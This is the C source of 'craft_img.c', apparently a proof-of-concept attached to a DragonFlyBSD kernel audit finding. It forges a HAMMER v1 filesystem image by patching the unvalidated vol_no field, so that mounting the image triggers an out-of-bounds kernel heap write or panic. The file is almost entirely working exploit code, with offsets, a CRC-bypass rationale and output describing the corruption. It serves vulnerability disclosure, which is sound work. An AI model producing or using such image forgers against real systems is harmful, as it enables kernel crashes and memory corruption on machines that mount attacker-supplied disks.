DragonFlyBSD Kernel Audit
DF-0797 / craft_img.c
← back to finding ↓ download raw
/*
 * craft_img.c - HAMMER v1 image forger for DF-0797.
 *
 * DF-0797 root cause: hammer_install_volume() (hammer_ondisk.c:210) assigns
 *   volume->vol_no = ondisk->vol_no
 * from the raw on-disk volume header with NO range validation.  Then at
 * hammer_ondisk.c:234 it calls hammer_volume_number_add(hmp, volume) which
 * (hammer.h:1582-1583) does:
 *     int i = __hammer_vol_index(vol->vol_no);   // = vol_no >> 6, NO mask
 *     hmp->volume_map[i] |= __hammer_vol_low(vol->vol_no);
 * hmp->volume_map[] is uint64_t[4] -- only indices 0..3 are valid (vol_no
 * 0..255).  A crafted vol_no outside that range produces an out-of-bounds
 * heap write past the last field of struct hammer_mount:
 *     vol_no = 256        -> i=4, 8 bytes past volume_map (smallest OOB)
 *     vol_no = 0x7FFFFFFF -> i=0x1FFFFFF, ~256 MB past volume_map -> fatal
 *                            page fault / panic
 *
 * Crucially the volume-header CRC (ondisk->vol_crc) is NEVER validated at
 * mount time: hammer_crc_test_volume() (hammer_crc.h:180) is defined but has
 * ZERO callers in sys/vfs/hammer/.  So patching vol_no requires NO crc fixup.
 *
 * This forger opens the image, finds the volume header in the first buffer
 * (block 0), and patches the vol_no field (offset 0x90 in
 * struct hammer_volume_ondisk) to the supplied forged value.
 *
 * Build:  cc -O2 -o craft_img craft_img.c
 * Usage:  ./craft_img <image.img> [vol_no]      (default 0x7FFFFFFF)
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

/* volume_ondisk field offsets (struct hammer_volume_ondisk, hammer_disk.h:738)
 *
 *   u64 vol_signature       @  0
 *   i64 vol_bot_beg         @  8
 *   i64 vol_mem_beg         @ 16
 *   i64 vol_buf_beg         @ 24
 *   i64 vol_buf_end         @ 32
 *   i64 vol_reserved01      @ 40
 *   uuid vol_fsid           @ 48   (16 bytes)
 *   uuid vol_fstype         @ 64   (16 bytes)
 *   char vol_label[64]      @ 80
 *   i32 vol_no              @ 144  <-- TARGET
 *   i32 vol_count           @ 148
 *   u32 vol_version         @ 152
 *   u32 vol_crc             @ 156  (never validated at mount -- see header)
 *   u32 vol_flags           @ 160
 *   u32 vol_rootvol         @ 164
 */
#define VOFF_signature   0
#define VOFF_vol_no      144
#define VOFF_vol_crc     156
#define VOFF_vol_rootvol 164
#define HAMMER_FSBUF_VOLUME 0xC8414D4DC5523031ULL

/* little-endian helpers (DragonFly x86_64 guest is LE) */
static uint32_t rd32(const uint8_t *p){ return (uint32_t)p[0] | ((uint32_t)p[1]<<8) | ((uint32_t)p[2]<<16) | ((uint32_t)p[3]<<24); }
static uint64_t rd64(const uint8_t *p){
    return (uint64_t)p[0] | ((uint64_t)p[1]<<8) | ((uint64_t)p[2]<<16) |
           ((uint64_t)p[3]<<24) | ((uint64_t)p[4]<<32) | ((uint64_t)p[5]<<40) |
           ((uint64_t)p[6]<<48) | ((uint64_t)p[7]<<56);
}
static void wr32(uint8_t *p, uint32_t v){ p[0]=v; p[1]=v>>8; p[2]=v>>16; p[3]=v>>24; }

int main(int argc, char **argv)
{
    const char *path = (argc > 1) ? argv[1] : "scratch.img";
    int32_t forged_vol_no = (argc > 2) ? (int32_t)strtol(argv[2], NULL, 0) : 0x7FFFFFFF;

    int fd = open(path, O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    uint8_t hdr[512];
    ssize_t n = read(fd, hdr, sizeof(hdr));
    if (n < (ssize_t)sizeof(hdr)) {
        fprintf(stderr, "short read (%zd) on %s -- need a valid HAMMER image\n", n, path);
        close(fd);
        return 1;
    }

    /* sanity: confirm we're looking at a HAMMER volume header */
    uint64_t sig = rd64(hdr + VOFF_signature);
    if (sig != HAMMER_FSBUF_VOLUME) {
        fprintf(stderr, "not a HAMMER volume header: signature=0x%016llx\n",
                (unsigned long long)sig);
        close(fd);
        return 1;
    }

    uint32_t old_vol_no    = (int32_t)rd32(hdr + VOFF_vol_no);
    uint32_t old_vol_crc   = rd32(hdr + VOFF_vol_crc);
    uint32_t old_vol_root  = rd32(hdr + VOFF_vol_rootvol);

    printf("[*] image      : %s\n", path);
    printf("[*] signature  : 0x%016llx (HAMMER_FSBUF_VOLUME OK)\n",
           (unsigned long long)sig);
    printf("[*] vol_no     : %u (0x%08x)  -> forging to %d (0x%08x)\n",
           old_vol_no, old_vol_no, forged_vol_no, (unsigned)forged_vol_no);
    printf("[*] vol_crc    : 0x%08x  (LEAVE -- never validated at mount)\n", old_vol_crc);
    printf("[*] vol_rootvol: %u\n", old_vol_root);
    printf("[*] vol_version: %u\n", rd32(hdr + 152));

    /* what the OOB write will look like at mount */
    int idx = (int)((uint32_t)forged_vol_no >> 6);
    printf("[*] __hammer_vol_index(%d) = %d  (volume_map valid range 0..3)\n",
           forged_vol_no, idx);
    if (idx < 0 || idx > 3) {
        printf("[!] OOB WRITE: hmp->volume_map[%d] |= bit  -> +%d bytes past volume_map[0]\n",
               idx, idx * 8);
        printf("[!] volume_map is the LAST field of struct hammer_mount (hammer.h:875)\n");
        printf("[!]   -> write lands in adjacent kernel heap / unmapped page\n");
        if (idx >= 65536)
            printf("[!]   -> idx*8 = %d MiB past volume_map -> guaranteed fatal page fault\n",
                   (idx * 8) / (1024 * 1024));
    }

    /* patch vol_no in place -- no CRC recompute (crc never validated at mount) */
    if (lseek(fd, 0, SEEK_SET) != 0) { perror("lseek"); close(fd); return 1; }
    wr32(hdr + VOFF_vol_no, (uint32_t)forged_vol_no);
    if (write(fd, hdr, sizeof(hdr)) != (ssize_t)sizeof(hdr)) {
        perror("write"); close(fd); return 1;
    }
    fsync(fd);
    close(fd);

    printf("[+] vol_no patched in-place (CRC left as-is -- not validated at mount)\n");
    return 0;
}